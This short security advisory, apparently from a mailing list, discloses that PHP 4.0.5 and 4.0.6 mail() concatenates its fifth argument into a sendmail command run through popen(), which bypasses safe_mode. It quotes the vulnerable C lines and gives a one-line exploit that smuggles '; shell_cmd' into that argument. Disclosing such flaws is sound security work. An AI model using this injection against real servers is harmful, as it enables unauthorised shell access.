php mail function bypass safe_mode restriction

[Laurent Sintes <sintes () nfrance com>]

php mail() function does not do check for escape shell commandes,
even if php is running in safe_mode.

So it's may be possible to bypass the safe_mode restriction and gain
shell access.

Affected:
php4.0.6
php4.0.5

Significatives lines of ext/standard/mail.c:

> extra_cmd = (*argv[4])->value.str.val;
> strcat (sendmail_cmd, extra_cmd);
> sendmail = popen(sendmail_cmd, "w");

Exploit:
mail("toto () toto com",
         "test",
         "test",
         "test",
        "; shell_cmd");